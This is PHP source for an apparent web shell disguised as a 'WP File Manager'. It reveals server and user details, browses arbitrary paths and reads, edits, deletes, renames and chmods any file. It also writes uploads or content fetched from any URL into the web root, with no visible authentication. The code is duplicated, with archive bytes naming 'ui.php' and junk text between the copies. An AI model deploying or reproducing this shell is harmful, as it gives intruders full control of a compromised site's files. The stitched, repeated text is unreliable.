"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëfinance@velessa.ai/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
